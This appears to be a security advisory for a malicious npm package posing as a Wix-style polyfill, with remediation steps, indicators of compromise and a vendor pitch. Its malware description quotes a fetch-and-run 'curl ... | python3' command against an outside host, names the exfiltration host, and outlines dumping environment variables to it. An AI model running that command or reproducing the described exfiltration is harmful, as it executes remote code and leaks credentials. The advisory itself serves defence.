Which versions of css-eqxcdx-polyfill are malicious?

The following npm versions of css-eqxcdx-polyfill are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate css-eqxcdx-polyfill if I installed it?

css-eqxcdx-polyfill is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed css-eqxcdx-polyfill — how do I know if it already compromised me?

If css-eqxcdx-polyfill was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is css-eqxcdx-polyfill part of a known attack campaign?

Yes — css-eqxcdx-polyfill is associated with the IN-MAL-2026-021078 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find css-eqxcdx-polyfill across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for css-eqxcdx-polyfill (version 1.0.0).

Malicious package

css-eqxcdx-polyfillnpm

Advisory published Oct 5, 2026Updated Oct 5, 2026

css-eqxcdx-polyfill is a confirmed malicious npm package (MAL-2026-17573) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in css-eqxcdx-polyfill (npm)

MAL-2026-17573

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall css-eqxcdx-polyfill

What this malware does

The package presents itself as a polyfill exporting Wix thunderbolt-style registry stubs (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry, etc.), but thunderboltRegistry.js runs an IIFE on module load that performs two installer-side attacks. First, it executes id, whoami, env, and ifconfig/ip addr via child_process.execSync, collects the OS hostname, and POSTs the output together with a wholesale dump of process environment variables via fetch() to the hardcoded Burp Collaborator OAST host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, including a tagged cmd=env beacon. Environment variables on developer and CI hosts routinely contain cloud, registry, and CI credentials. Second, it runs curl -L https://appsecc.com/py | python3 via execSync, fetching and executing an arbitrary remote Python payload on the installer's machine, with a self-labeled cmd=reverse-shell beacon sent to the same OAST host. The registry-API facade and the Wix-adjacent naming are cover for the reconnaissance and remote code execution in the same file; the package has no legitimate functionality.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

a93fe0298f7671177e324947b2bf89ec3729b203621f7ca67aa8cd10439306a2

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for css-eqxcdx-polyfill (version 1.0.0).
If you installed it — respond
css-eqxcdx-polyfill is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If css-eqxcdx-polyfill was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. css-eqxcdx-polyfill on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021078

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks css-eqxcdx-polyfill-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

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